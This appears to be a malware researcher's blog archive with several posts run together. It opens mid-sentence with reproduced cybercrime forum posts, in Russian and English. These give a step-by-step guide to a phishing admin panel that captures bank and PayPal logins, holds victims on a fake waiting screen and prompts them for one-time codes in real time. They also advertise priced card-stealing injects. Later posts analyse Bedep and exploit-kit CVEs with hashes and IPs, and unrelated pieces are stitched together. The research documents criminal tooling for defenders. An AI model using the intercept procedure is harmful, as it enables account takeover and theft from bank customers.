этапе у нас есть логины для входа , и ждущий человвек на нашей странице .Входим, идем на активацию IBAN . Там нас спрашивает Pin1/Tooken1 .Мы идем обратно на админку и нажимаем запрос операции. У нас откроется окно с выбором операций .Нажимаем на "ask Pin1" и жертва видит вот это:Дальше все просто. Жертва вводить "pin1" и он приходит к нам на админку . А жертва в это время снова видит пред собой заставку "подождите" .Если пин подошол, идем на перевод и такимже способом просим "pin2". Важно понимать что это все можно повторять много раз и после неверного пина можно снова его запросить .Если залив ушол , ставим "Redirect" на "On" и юсер уходит на оригинал. Или в продвинутых системах можно показать ему техроботы и попросить зайти попоже.Вот и все!**Все тексты на английском по админке написаны с ошибками , я это знаю ).Делал очень быстро . Никак не дойдут руки сделать до конца ------------------------------------------On march 2016 the 9th :------------------------------------------доброе время суток всем.С великой радостью рад предложить свои услуги по разработке инжектов под мобильные устройства для многих публичных андроид ботов .Цены зависят от тех заданий .Пример роботы на один из UK линков можно посмотреть тут [REDACTED]pass:demoWith great joy, I am pleased to offer its services on developing injects for mobile devices for many public android bots.The prices depend on those jobs.An example of one of the injects on the UK link can be found here [REDACTED]pass:demo------------------------------------------Files mirrored here. (pass: demo)On march 2016 the 16th:------------------------------------------Ladie's and Gentlemen's.Don't miss out some fresh and well-designed mobile injects for UK.9 common links.Hight % success task.------------------------------------------On march 2016 the 31st:------------------------------------------Доброе время суток всем.Последним временем много клиентов задают одни и те же вопросы связаны с видео o работе перехвата на Нидерланды.Я решил более детально описать систему работы и поставить ее где-то в общедоступном месте.Прежде всего пару строчек хотел бы написать o админ панели. Oна называется Universal Admin. называется она не просто так Универсал,у нее реализована возможность поддерживать много разных проектов таких как: Tooken intercept,Text manager,Log parser,Drop manager и многое другое.[2 images here...not available at dump time]Не обращайте внимания на разные цвета и стили на Скринах ,стили меняются тоже прямо с админки.[1 image here...not available at dump time]Tо есть админ панель одна а плагинов под нее может быть много.Hа видео Вы видели эту админку с плагином Tooken intercept + Text manager.Text manager-это менеджер текстовых блоков и название кнопок, которые будут автоматически вставляется в вашы страницы,инжекты и фишинг сраницы.[1 images here...not available at dump time]Все что надо сделать для работы это создать текстовый блок с определенным ID ,потом на вашей странице создать элемент с этим же ID ивставить одну функцию в конец документа.Для примера: У вас есть инжект в котором есть определенная Легенда запроса дополнительной информации.Чтобы изменить эту Легенду вам как минимум надо разбираться в HTML и как максимум пересобирать конфигурацию бота.С помощью текстового менеджера в моей админке все что вам надо это поменять текст в определенном блоке и нажать сохранить.Tooken intercept- это собственно то о чем мы будем сейчас говорить.Не важно каким способом Вы стараетесь обмануть жертву (Injec ,phishing page) цель является добытие определенного пакета информации .Для примера скажем у вас есть Paypal Phishing page с помощью которой вы добывайте username и пароль. эти данные отсылаются куда-то наадминку в нашем случае это Universal Admin.Username и пароль это и есть тот самый пакет информации который после отправки формы сохраняются у вас ,а кокретно вот тут[1 image here...not available at dump time]Использовать эту информацию можно по-разному в зависимости от вашего проекта.Одним из методов использования этой информации является перехват(intercept) ,то есть использовать информацию в реальном времени прямо сейчас.Вы перехватили username и пароль и вместо жертвы попадаете на ак ,пока жертва ждет думая что страница грузится.В случае с PayPal использования перехвата не совсем обязательно, так как полученные пакет информации а именно username и пароль Выможете использовать и через неделю. Но в связи с тем что последнее время много контор используют One Time password(Tooken),которые действительны только 30 секунд, обойтись без Tooken interstep нереально. Tooken intercept дает вам возможность использовать тот самый пароль(tooken) на протяжении 30 секунд пока жертва ждет загрузки следующей страницы. Возьмем тот же PayPal. Скажем вы получили только что username и пароль, зашли внутрь, и на главной странице вам выскочила рамочка гдеговорится что для подтверждения вашей личности на ваш мобильный телефон был отправлен SMS с коротким кодом(Tooken) код который надо вести тam же в рамочкe.Код который был отправлен на мобильный телефон жертвы!!! жертва которая на данный момент находится на вашей странице(Phishing Inject)!!!там где только что она(жертва) ввела username и пароль, username и пароль те что пришли к вам на админку и те что вы использовали для тогочтобы зайти на тот самый аккаунт где вам выскочила рамочка!! В стандартных методах это называется запал и етот пакет информации можно выбросить. можно сделать такую же рамочку после логин этападля всех юзеров на нашей пишем фишинг или инжекте, но проблема в том что это рамочка показывается не всем и не всегда и если жертвена телефон ничего не приходило то он туда ничего никогда не ведет.Я думаю всем понятно что здесь нужна динамическая страница с дистанционным управлением. То есть вы должны принимать решения показыватьрамочку данной жертве или не показывать.Именно это и есть основа.Страница которая присоединена к нашей админке может меняться исходя из команд которые вы задаете в админке.Команд может быть много, но для этого в определенном месте в админке для каждой жертвы eсть список команд, которые можнозадать для данной страницы на которой он(жертвa) находится.[1 image here...not available at dump time]в нашем примитивном пример из PayPal в списке операции должнa присутствовать кнопка "показать рамочку".Если вы зашли на аккаунт с только что полученными данными и у вас выкидывает эту рамочку вы нажимаете кнопку "показать рамочку" для данной жертвой.И у нее на экране покажет такую же рамочку.Tooken, который будет введён в эту рамочку прилетит к вам на админ туда же где лежат username и пароль от этой жертвы.Думаю здесь все понятно.Единственное что хотел бы подчеркнуть то что жертва в любой момент может закрыть страницу закрыть компьютер вырубить сеть.В таком случае связь страницы с админкой теряется и задавать команды для данной страницы не имеет смысла.Для этого в нашей админке есть Tracker онлайн статуса который позволяет нам следить находится ли жертва онлайн или нет. [1 image here...not available at dump time]Теперь структура Tooken intercept админки.Первая страница это главная страница где показана текучка всех посетителей(жертв) ваших инжектов и фишингов.Напротив каждого посетителя есть кнопка O-Panel при нажатии на которую вы попадаете уже на индивидуальную панель операций для данного посетителя.[1 image here...not available at dump time] Именно здесь и находится список операций.Именно здесь крупным планом видно онлайн статус. Прошу заметить что онлайн статусов бывает 3(ONLINE, OFFLINE и WAITING).WAITING статус светится красным и светится только тогда когда жертва ждет операции от вас ,то есть только что вам был отправленпакет информации и страница ждет дальнейших инструкций!.[1 image here...not available at dump time]Также жертва с этим статусом мигает красным и на главной странице что поднимает их в таблице вверх. Окей давайте теперь возьмем реальный пример Phishing страницы скажем одного из нидерландских банков. тут реализованные как PCтак и мобильная версия.[1 image here...not available at dump time]Вы делаете рассылку на email и линки могут открываться на мобильном. в основном 50% так и происходит.Скажем кто-то(жертвa) переходит на Линк в вашем email и попадает на нашу страницу. Вы об этом узнаете сразу через Jabber Alert,в котором будет говориться про нового посетителя.Самое время открыть Universal панель. там вы увидите Новую колонку с информацией про посетителя а Конкретно его айпи ширина экрана и многое другое[1 image here...not available at dump time]с минуты на минуту к нам прилетят логины, их можно ждать как на главной так и на O-Panel.после того как Вы получили логины, Посетитель уходит в режим ожидания. об этом Вам будут говорить красные мигающие панели, она экранe у жертвы будет примерно такое[1 image here...not available at dump time]Что делать вам с полученным пакетом Логинов Решать только Вам. Но если у вас, находясь внутри в аккаунте, попросят ввести tooken, пароль, SMS пароль то самое время вернуться на O-Panel и нажать соответствующую команду. Команда которая приведет к тому что страница на которой находится жертва покажет ему запрос того что вам надо.[1 image here...not available at dump time]После того как жертва ввела в форму Tooken ,она снова уходит в режим ожидания, и Вы снова должны определиться что делать и какую команду ему дать. И так до бесконечности или пока жертва не Закроет страницу. Но если все-таки это надоест вам то у васесть два варианта распрощаться жертвой. это поставить блок [1 image here...not available at dump time]или перенаправить его на оригинал страницу.[1 image here...not available at dump time]При работе с одним посетителем могут стучать другие новые.Это будет отвлекать и все новые посетители будут ждать. чтобы этого избежать на главной странице есть ричашки которые контролируютрегистрацию новых посетителей и переадресацию старых поголовно. Если поставить регистрацию OFF ,то в админке только будут работать Те кто уже Там есть, все новые будут попадать на оригинал страницы контор.A если поставить редирект всех ,то все посетители(жертвы) кто есть в админке будут перенаправлены на свои оригинальные страницы поголовно.Это надо делать когда вы собрались к примеру уходить.------------------------------------------On april 2016 the 4th:------------------------------------------увжаемые друзьяновые инжекты под Андроид------------------------------------------On april 2016 the 11th:------------------------------------------Продается Пак инжектов под андроид для сбора карт.WhatsUpFacebookInstagramViberSkaypGooglePlayPrice:450$user posted imageОбезательно посмотрите видео. В инжектах реализованы Responsive & animations приемы.[Redacted]pass:1qaz------------------------------------------File mirrored here (pass : 1qaz)On april 2016 the 12th:------------------------------------------Pack of Injects for Columbia banks for sale.Credit cards colectors with admin panel on https domen.bancofalabellarbmcolombiacolpatriabancolombiabbvanetbancodeoccidentebancodebogotabancopichinchaPrice:800$[3 images here...not available at dump time]Video: [Redacted]Pass:columbia ------------------------------------------File mirrored here  (pass: columbia)On april 2016 the 14th:------------------------------------------Pack of Injects for Canada banks for sale.Credit cards colectors with admin panel on https domen.TdCibcBmoDesjRbcPrice:500$[3 images here...not available at dump time]Video: [Redacted]Pass:canada ------------------------------------------File mirrored here (pass: canada)On april 2016 the 18th:------------------------------------------Недавно вышел апдейт на U-admin(Universal Admin).Теперь все более соответствует написанному выше описанием.Админ панель теперь имеют специальную директорию под plugins, и все плагины в этой директории автоматически прописывается в админке.[1 image here...not available at dump time]Например, вы приобрели U-admin а потом "Log parser Plugin". Для этого вам просто надо поставить папку Log parser в плагин директорию в админке.Также был разработан VNC плагин который дает возможность коннектится к вашему botnet API с запросом на соединение по VNC/SOCKS для определенного бота.Этот плагин является дополнением к "Tooken Intercept" плагина про который я писал вам выше. Если вы используете "Tooken Intercept" с инжектороми в вашем боте есть в VNC, и в админке вашего Бота есть API управление VNC то при наличии VLC plugin в U-admin возможно сделать запрос на соединение по vnc или socks с ботом.Как правило это делается автоматически при самом первом соединение с инжектоm,то есть когда жертва заходит на страницу перехвата.В связи с этим была слегка переделана O-Panel где в команды была добавлена новая опция проверки статуса VNC/SOCKS соединение.[1 image here...not available at dump time]Куда ,как вы видите, при успешном соединении выводятся данные на VNC/SOCKS------------------------------------------File Tree from some components :Folder PATH listingUADMIN_|   cp.php|   head.php|   index.php|   login.php|   session.php|  +---files|   |   animate.css|   |   bootbox.min.js|   |   bootstrap-notify.min.js|   |   bootstrap-social.css|   |   hover-min.css|   |   index.php|   |   jquery-ui.css|   |   jquery-ui.min.js|   |   jquery.js|   |   my.css|   |  |   +---bootstrap|   |   +---css|   |   |       bootstrap-theme.css|   |   |       bootstrap-theme.css.map|   |   |       bootstrap-theme.min.css|   |   |       bootstrap-theme.min.css.map|   |   |       bootstrap.css|   |   |       bootstrap.css.map|   |   |       bootstrap.min.css|   |   |       bootstrap.min.css.map|   |   |      |   |   +---fonts|   |   |       glyphicons-halflings-regular.eot|   |   |       glyphicons-halflings-regular.svg|   |   |       glyphicons-halflings-regular.ttf|   |   |       glyphicons-halflings-regular.woff|   |   |       glyphicons-halflings-regular.woff2|   |   |      |   |   +---js|   |   |       bootstrap.js|   |   |       bootstrap.min.js|   |   |       npm.js|   |   |      |   |   \---switch|   |           bootstrap-switch.min.css|   |           bootstrap-switch.min.js|   |          |   +---dt|   |       dataTables.bootstrap.min.css|   |       dataTables.bootstrap.min.js|   |       jquery.dataTables.min.js|   |      |   \---images|           ui-icons_444444_256x240.png|           ui-icons_555555_256x240.png|           ui-icons_777620_256x240.png|           ui-icons_777777_256x240.png|           ui-icons_cc0000_256x240.png|           ui-icons_ffffff_256x240.png|          +---opt|       geo_switch.txt|       index.php|       theme.txt|      +---plugins|   +---intercept|   |   |   bc.php|   |   |   class.jabber.php|   |   |   dynamic__part.php|   |   |   functions.php|   |   |   gate.php|   |   |   head.php|   |   |   index.php|   |   |   main.php|   |   |   panel.php|   |   |   text.php|   |   |  |   |   +---ajax|   |   |       cp_ajax.php|   |   |       index.php|   |   |      |   |   +---files|   |   |   |   animate.css|   |   |   |   bootbox.min.js|   |   |   |   bootstrap-notify.min.js|   |   |   |   bootstrap-social.css|   |   |   |   hover-min.css|   |   |   |   index.php|   |   |   |   jquery-ui.css|   |   |   |   jquery-ui.min.js|   |   |   |   jquery.js|   |   |   |   my.css|   |   |   |  |   |   |   +---bootstrap|   |   |   |   +---css|   |   |   |   |       bootstrap-theme.css|   |   |   |   |       bootstrap-theme.css.map|   |   |   |   |       bootstrap-theme.min.css|   |   |   |   |       bootstrap-theme.min.css.map|   |   |   |   |       bootstrap.css|   |   |   |   |       bootstrap.css.map|   |   |   |   |       bootstrap.min.css|   |   |   |   |       bootstrap.min.css.map|   |   |   |   |      |   |   |   |   +---fonts|   |   |   |   |       glyphicons-halflings-regular.eot|   |   |   |   |       glyphicons-halflings-regular.svg|   |   |   |   |       glyphicons-halflings-regular.ttf|   |   |   |   |       glyphicons-halflings-regular.woff|   |   |   |   |       glyphicons-halflings-regular.woff2|   |   |   |   |      |   |   |   |   +---js|   |   |   |   |       bootstrap.js|   |   |   |   |       bootstrap.min.js|   |   |   |   |       npm.js|   |   |   |   |      |   |   |   |   \---switch|   |   |   |           bootstrap-switch.min.css|   |   |   |           bootstrap-switch.min.js|   |   |   |          |   |   |   +---dt|   |   |   |       dataTables.bootstrap.min.css|   |   |   |       dataTables.bootstrap.min.js|   |   |   |       jquery.dataTables.min.js|   |   |   |      |   |   |   \---images|   |   |           ui-icons_444444_256x240.png|   |   |           ui-icons_555555_256x240.png|   |   |           ui-icons_777620_256x240.png|   |   |           ui-icons_777777_256x240.png|   |   |           ui-icons_cc0000_256x240.png|   |   |           ui-icons_ffffff_256x240.png|   |   |          |   |   \---public|   |           .ht.db|   |           index.php|   |           Removed.txt|   |          |   +---log_parser|   |   |   functions.php|   |   |   gate.php|   |   |   head.php|   |   |   index.php|   |   |   main.php|   |   |  |   |   +---ajax|   |   |       server_side.php|   |   |       ssp.class.php|   |   |      |   |   +---classes|   |   |       browser.php|   |   |      |   |   +---files|   |   |   |   animate.css|   |   |   |   bootbox.min.js|   |   |   |   bootstrap-notify.min.js|   |   |   |   bootstrap-social.css|   |   |   |   hover-min.css|   |   |   |   jquery-ui.min.js|   |   |   |   jquery.js|   |   |   |   my.css|   |   |   |  |   |   |   +---bootstrap|   |   |   |   +---css|   |   |   |   |       bootstrap-theme.css|   |   |   |   |       bootstrap-theme.css.map|   |   |   |   |       bootstrap-theme.min.css|   |   |   |   |       bootstrap-theme.min.css.map|   |   |   |   |       bootstrap.css|   |   |   |   |       bootstrap.css.map|   |   |   |   |       bootstrap.min.css|   |   |   |   |       bootstrap.min.css.map|   |   |   |   |      |   |   |   |   +---fonts|   |   |   |   |       glyphicons-halflings-regular.eot|   |   |   |   |       glyphicons-halflings-regular.svg|   |   |   |   |       glyphicons-halflings-regular.ttf|   |   |   |   |       glyphicons-halflings-regular.woff|   |   |   |   |       glyphicons-halflings-regular.woff2|   |   |   |   |      |   |   |   |   +---js|   |   |   |   |       bootstrap.js|   |   |   |   |       bootstrap.min.js|   |   |   |   |       npm.js|   |   |   |   |      |   |   |   |   \---switch|   |   |   |           bootstrap-switch.min.css|   |   |   |           bootstrap-switch.min.js|   |   |   |          |   |   |   \---dt|   |   |           dataTables.bootstrap.min.css|   |   |           dataTables.bootstrap.min.js|   |   |           jquery.dataTables.min.js|   |   |          |   |   \---public|   |           .htBd.db|   |           geo_switch.txt|   |           index.php|   |           theme.txt|   |          |   +---settings|   |   |   functions.php|   |   |   index.php|   |   |   main.php|   |   |  |   |   \---public|   |           cfg.php|   |           index.php|   |          |   +---style|   |   |   functions.php|   |   |   index.php|   |   |   main.php|   |   |  |   |   \---public|   |           index.php|   |          |   \---text|       |   functions.php|       |   main.php|       |   text.php|       |  |       \---public|               index.php|               texts.txt|              \---scrNote: If you are interested by the [Redacted] part please send a mail

Simulacra & Simulation - Jean BaudrillardFeatured in MatrixBedep could be described as a fileless loader with a resident module that can optionally perform AdFraud. It's intimate to Angler EK and appeared around August 2014. On the 2016-03-24 I noticed several move in Bedep. Angler infecting a VM and integrating it into an instance of Bedep botnet2016-03-24No more variable in the URI (as several month before), the protocol Key changed and in most of my manual checks, all threads were sending a strange payload in the first stream.2ko size for Win7 64bits :80eb8a6aba5e6e70fb6c4032242e9ae82ce305d656b4ed8b629b24e1df0aef9aPopup shown by the first payload from Bedep Stream - Win7(in the background Angler Landing)48ko size for WinXP 32bits:a0fe4139133ddb62e6db8608696ecdaf5ea6ca79b5e049371a93a83cbcc8e780Popup shown by the first payload from Bedep Stream - WinXPLooking at my traffic I thought for some time that one of the Bedep instances was split in two.Then I understood that I got different result on my "manually" driven VM (on VMWare ESXi) and my automated Cuckoo driven one ( on VirtualBox). I suspected it was related to hardening, as this is one of the main difference between those two systems.And I got confirmation. Here is an example on a GooNky ([1] [2] [3]) malvertising traffic in Australia :A VM not hardened enough against Bedep got redirected to a "decoy" instance of Bedep that i will refer as :Bedep "Robot Town" - 2016-04-12Now look what i get instead with a VM that is not spotted as is:Same Angler thread - VM not detected. 1st Stream get Vawtrak2016-04-12( Vawtrak in that stream   d24674f2f9879ee9cec3eeb49185d4ea6bf555d150b4e840407051192eda1d61 )I am not skilled enough to give you the list of checks Bedep is doing. But here is one of them spotted by Cuckoo :Bedep doing some ACPI checksI think there are multiple level of checks. Some resulting in Bedep not trying to contact the C&C, some where the positive check end up with a different seed for the Bedep DGA redirecting spotted machines in a dedicated instance. This is quite powerful :- the checks are made without dropping an executable. - if you don't know what to expect it's quite difficult to figure out that you have been trapped- there is a lot of things that operators can do with this list of known bots and initial Bedep thread ID. One of them is for instance knowing which of the infection path are researcher/bots "highway" :Illustration for Bedep "Robot Town" from an "infection path" focused point of viewThis could be just a move to perform different tasks (AdFraud only (?) ) on VMs, but my guess it that this Bedep evolution on 2016-03-24 is a fast reaction to this Proofpoint Blog from 2016-03-18 which  show how Bedep threads are additional connectable dots. Sharing publicly is often a difficult decision. The question is which side will benefits the most from it, in the long time.For researchers:In the last 3 weeks, if your VM have communicated with :95.211.205.228 (which is a Bedep ip from end of 2015 reused) || ( 85.25.41.95  && http.uri.path  "ads.php?sid=1901" ) and you are interested by the "real payload" then you might want to give PAfish a run.Marvin - Paranoid AndroidOn the other hand, any of your VM which has communicated with 104.193.252.245 (Bedep "standard" 18xx 19xx instance)  since the 24 of March is hardened enough to grab the real payload.[Edits]- Removed the AU focused mention on the Vawtrak. I have been told (Thanks ! ) it's US focused. Got geo Glitched. Maybe more about that a day or the other.- Refine the check conditions for Researcher. IP  85.25.41.95 and sid=1901...otherwise...ok :)[/Edits]Acknowledgements :Thanks Will Metcalf and Malc0de for the discussions and help on this topic--I'm sorry, but I must do it...Greetings to Angler and Bedep guys. 😉 You are keeping us busy...and awake !Reading :Video Malvertising Bringing New Risks to High-Profile Sites - 2016-03-18 - ProofpointBedep’s DGA: Trading Foreign Exchange for Malware Domains - 2015-04-21 - Dennis Schwarz - ArborSertAngler EK : now capable of "fileless" infection (memory malware) - 2014-08-30Modifying VirtualBox settings for malware analysis - 2012-08-23  - Mikael Keri

Spotted in a "degraded" version on the 2016-04-02 in Magnitude, live also since 2016-03-31 in Nuclear Pack, Adobe was really fast at fixing  this vulnerability with the patch released on the 2016-04-07 bringing Flash Player to version 21.0.0.213It's not the first time a "0day" exploit is being used in a "degraded" state.This happened before with Angler and CVE-2015-0310 and CVE-2014-8439You'll find more details about the finding on that Proofpoint blog here :"Killing a zero-day in the egg: Adobe CVE-2016-1019"and on that FireEye blog here:CVE-2016-1019: A new flash exploit included in Magnitude Exploit KitNote : we worked with Eset, Kaspersky and Microsoft as well on this case.Nuclear Pack :2016-03-31 "Degraded"Identification by  Eset, Kaspersky and FireEye (Thanks)Exploit sent to Flash Player 20.0.0.306 by Nuclear Pack on the 2016-03-31CVE-2016-1019 insideSample in that pass:  301f163644a525155d5e8fe643b07dceac19014620a362d6db4dded65d9cad90Out of topic example of payload dropped that day by that instance of Nuclear : 42904b23cff35cc3b87045f21f82ba8b (locky)Note the string "CVE-2016-1001" in the Nuclear Pack, explaining why maybe this exploit is being used in a degraded state.CVE-2016-1001 string spotted by Denis O'Brien (Malwageddon), the 2016-04-05 in Nuclear Pack exploitMagnitude :2016-04-02 "Degraded" to 20.0.0.306Identified as is by FireEye[2016-04-07: TrendMicro told me they found some hits for this exploit in Magnitude back from 2016-03-31 as well]Magnitude exploiting Flash 20.0.0.306 with CVE-2016-1019 the 2016-04-02 in the morning.Payload is Cerber.Side note : the check on the redirector in front of Magnitude ( http://pastebin.com/raw/gfEz25fa ) which might have been fixed with the CVE-2015-2413 was in Magnitude landing itself from September to end of November 2015.res:// onload check features unobfuscated at that time in Magnitude Landing 2015-09-29Sample in that pass: 0a664526d00493d711ee93662a693eb724ffece3cd68c85df75e1b6757febde5Out of topic payload: 9d92fb315830ba69162bb7c39c45b219cb8399dd4e2ca00a1e21a5457f92fb3c Cerber RansomwareNote: I got successful pass with Windows 8.1 and Flash 20.0.0.272 as well and Windows 10 build 1511 (feb 2016) via Flash 20.0.0.306 on Internet Explorer 11. Edge seems not being served a landing.Neutrino:2016-04-11 - "degraded" as well it seems. (at least didn't got it to work on Flash 21.x)CVE id by @binjo and Anton Ivanov (Kaspersky)Neutrino successfully exploit Flash 20.0.0.306 with CVE-2016-10192016-04-11Fiddler : Sent to vtOut of topic payload: 83de3f72cc44215539a23d1408c140ae325b05f77f2528dbad375e975c18b82e Reading :Killing a zero day in the egg : CVE-2016-1019 - 2016-04-07 - ProofpointCVE-2016-1019: A new flash exploit included in Magnitude Exploit Kit - 2016-04-07 -  Genwei Jiang - FireEyeZero-Day Attack Discovered in Magnitude Exploit Kit Targeting CVE-2016-1019 in Older Versions of Adobe Flash Player - 2016-04-07 - Peter Pi, Brooks Li and Joseph C. Chen - TrendMicro

Two weeks after Flash patch,  two months after last Flash exploit integration in Angler, on the 2016-03-25 Angler EK, in some threads, is starting to send an exploit to Flash Player 20.0.0.270 and 20.0.0.306I tried multiple configuration but I was not able to get exploited. The following day I got successful infections with Flash 20.0.0.270 and 20.0.0.306.Angler EK :2016-03-25The CVE here has been identificated as CVE-2016-1001 by Eset and Kaspersky (Thanks)2016-03-26 - Angler EK successfully exploiting Flash 20.0.0.306 in Internet Explorer 11 on Windows 7Fiddler sent to VT here.Hash of the associated SWF fwiw : b609ece7b9f4977bed792421b33b15daObserved as well : ab24d05f731caa4c87055af050f26917 - c4c59f454e53f1e45858e95e25f64d07NB : this is just "one" pass.  Angler EK can be used to spread whatever its customers want to spread .Selected examples I saw in the last 4 days : Teslacrypt (ID 20, 40,52, 74 ,47) , Locky (affid 14 - 7f2b678398a93cac285312354ce7d2b7  and affid 11 - f417b107339b79a49e4e63e116e84a32), GootKit b9bec4a5811c6aff6001efa357f1f99c, Vawtrak  0dc4d5370bc4b0c8333b9512d686946cRamnit 99f21ba5b02b3085c683ea831d79dc79Gozi ISFB (DGA nasa) 11d515c2a2135ca00398b88eebbf9299BandarChor, (several instances, ex f97395004053aa28cadc6d4dc7fc0464 - 3c9b5868b4121a2d48b980a81dda8569 )Graybird/LatentBot f985b38f5e8bd1dfb3767cfea89ca776Dridex - b0f34f62f49b9c40e2558c1fa17523b5 (this one was 10 days ago..but worth a mention)Andromeda (several instances)and obviously many Bedep threads and their stream of PE (evotob, reactorbot (several instances), Tofsee, Teslacrypt,Kovter, Miuref)Edit 1: 2016-03-29 -  I was mentioning 2016-1010 as a candidate but it's not. Modified with the correct CVE ID provided by Eset and Kaspersky..

Fixed with the January 2016 Microsoft patches, CVE-2016-0034  ( MS16-006 ) is a Silverlight Memory Corruption vulnerability and it has been spotted by Kaspersky with rules to hunt Vitaliy Toropov’s unknown Silverlight exploit mentioned in HackingTeam leak.Angler EK :On the 2016-02-18 the landing of Angler changed slightly to integrate this piece of code :Silverlight integration Snipet from Angler Landing after decoding2016-02-18resulting in a new call if silverlight is installed on the computer:Angler EK replying without body to silverlight callHere a Pass in great britain dropping Vawtrak via Bedep buildid 77862016-02-18I tried all instances i could find and the same behavior occured on all.2016-02-22 Here we go : call are not empty anymore.Angler EK dropping  Teslacrypt via silverlight  5.1.41105.0 after the "EITest" redirect 2016-02-22I made a pass with Silverlight : 5.1.41212.0 : safe.Edit1 : I received confirmation that it's indeed CVE-2016-0034 from multiple analyst including Anton Ivanov (Kaspersky). Thanks !Xap file : 01ce22f87227f869b7978dc5fe625e16Dll : 22a9f342eb367ea9b00508adb738d858Out of topic payload : 6a01421a9bd82f02051ce6a4ea4e2edc (Teslacrypt)Fiddler sent hereRIG : 2016-03-29Malc0de spotted modification in the Rig landing indicating integration of Silverlight Exploit.Here is a pass where the Silverlight is being fired and successfully exploited. CVE identification by : Anton Ivanov (Kaspersky)RIG - CVE-2016-0034 - 2016-03-29Xap file in that pass :  acb74c05a1b0f97cc1a45661ea72a67a080b77f8eb9849ca440037a077461f6bcontaining this dll : e535cf04335e92587f640432d4ec3838b4605cd7e3864cfba2db94baae060415( Out of topic payload : Qbot 3242561cc9bb3e131e0738078e2e44886df307035f3be0bd3defbbc631e34c80 )Files : Fiddler and sample (password is malware)Reading :The Mysterious Case of CVE-2016-0034: the hunt for a Microsoft Silverlight 0-day - 2016-01-13 - Costin Raiu & Anton Ivanov - KasperskyPost Publication Reading:(PDF) Analysis of Angler's new silverlight Exploit - 2016-03-10 - Bitdefender Labs

Lately I received multiple questions about connection between Reveton and Cryptowall.I decided to have a look.A search in ET Intelligence portal at domains from Yonathan's Cryptowall TrackerET Intelligence search on Specspa .comshow that the first sample ET has talking with it is :e2f4bb542ea47e8928be877bb442df1b  2013-10-20A look at the http connexion shows the "us.bin" call mentioned by Yonathan (btw the us.bin item is still live there)ET Intelligence  : e2f4bb542ea47e8928be877bb442df1b http connexionsET Intelligence : Associated alert pointing at Cryptowall.A look into VirusTotal Intelligence shows that this sample is available in a Pcap captured and shared by ThreatGlass :NSFW://www.threatglass .com/malicious_urls/sunporno-comHiman EK dropping Cryptowall 2013-10-20captured by ThreatGlassWith the same referer and in the same Exploit Kit i got dropped 20 days earlier Flimrans :(See : http://malware.dontneedcoffee.com/2013/10/HiMan.html )Flimrans disappeared soon after this post from 2013-10-08 about the affiliate :http://malware.dontneedcoffee.com/2013/10/flimrans-affiliate-borracho.htmlInterestingly Flimrans is showing in US the same Design from Reveton pointed by Yonathan :Flimrans US 2013-10-03What is worth mentioning is that Flimrans was the only ransomware (i am aware of) to show a Spanish version of this same design :Flimrans ES 2013-10-03The timeline is also inline with a link between those two Ransomware (whereas Reveton was still being distributed months after these events).Digging into my notes/fiddlers i even found that this bworldonline .com which is still hosting the us.bin was in fact also the redirector to HiMan dropping Flimrans 20 days earlier from same sunporno upper.[The credits goes to Eoin Miller who at that time pointed that infection path allowing me to replay it]The compromised server storing the first design Blob used by cryptowallused to redirect 20 days earlier to Himan dropping Flimrans (which is using that same design).So...Cryptowall son of Borracho? I don't know for sure...but that could to be a possibility.Files : Items mentionned here. (password is malware)Read More:HiMan Exploit Kit. Say Hi to one more - 2013-10-02Flimrans Affiliate : Borracho - 2013-10-08

While other exploit kit are struggling to keep up with Angler (none is firing CVE-2015-8446 , maybe because of the Diffie-Hellman protection on Angler's exploits ),- Nuclear / Magnitude and Neutrino last exploits are from October (CVE-2015-7645)- RIG and Sundown are relying on July exploits (Hacking Team's one - CVE-2015-5122)( all have the IE CVE-2015-2419 from august)Angler has just integrated CVE-2015-8651 patched with Flash 20.0.0.270 on 2015-12-28Angler EK : 2016-01-25The exploit might be here since the 22 based on some headers modification which appeared that day.It's not yet pushed in all Angler EK threads but widely spread.Thanks Anton Ivanov (Kaspersky) for CVE Identification !CVE-2015-8651 (and CVE-2015-2419) being successfully exploited by Angler EK to load bedep in memory2016-01-25Fiddler sent to VT.---Another pass via the "noisy" Cryptowall "crypt13x" actor which threads also has it :CVE-2015-8651 being successfully exploited by Angler EK to load Cryptowall  (crypt13001)from the widely spread and covered "crypt13x" actor thread - 2016-01-25(Out of Topic payload : 5866906a303b387b9918a8d7f8b08a51 Cryptowall crypt13001 )I have been told by Eset that the exploit is successful on Flash 20.0.0.235 and Firefox.---I spotted a thread serving a landing and an exploit to Firefox.2016-03-23 Firefox pass with Sandbox escape :Angler EK exploiting CVE-2015-8651 on Firefox 33.1.1 and Flash 20.0.0.305Bedep successfully wrote its payload on the drive.2016-03-23Files : Fiddler in a zip (password malware)Neutrino :Thanks Eset for identifying the added CVE here.Neutrino Exploiting CVE-2015-8651 on 2016-02-09Here Bunitu droppedNote: For some reason couldn't have it working with Flash 20.0.0.228.Files : Fiddler here (password is malware)Nuclear Pack:Thanks again Eset for CVE identification here.Nuclear Pack exploit CVE-2015-8651 on 2016-02-10Out of topic payload: cdb0447019fecad3a949dd248d7ae30f which is a loader for CloudScout (topflix .info - which we can find in RIG as well those days)It seems Chrome won't save you if you do let it update.2016-02-17 on DE/US/FR trafficThis is not something i can reproduce.Is what i get with Chrome 46.0.2490.71 and its builtin 19.0.0.207 (which should fast update itself to last version)Files : Fiddler here (password: malware)Magnitude:2016-02-18CVE ID confirmed by Anton Ivanov (Kaspersky)Magnitude dropping Cryptowall via CVE-2015-86512016-02-18Files : Fiddler here (Password is malware)RIG :Some days before 2016-04-06Thanks FireEye for CVE identification.CVE-2015-8651 successfuly exploited by RIG on 2016-04-07Sample in that pass: 4888cc96a390e2970015c9c1d0206011a6fd8e452063863e5e054b3776deae02( Out of topic payload: 30cb7ed7a67eb08fa2845990b7270d64d51e769d6e0dad4f9c2b8e7551bced0a Probably Godzilla downloader)Files : RIG_2016-04-07 (swf, payload and Fiddler - password is malware)Read More:(GoogleTranslate - via @eromang ) Offshore "Dark Hotel" organization of domestic business executives launched APT attacks - 2015-12-31 - ThreatBookPost publication reading :An Analysis on the Principle of CVE-2015-8651 - Antiy Labs - 2016-01-26

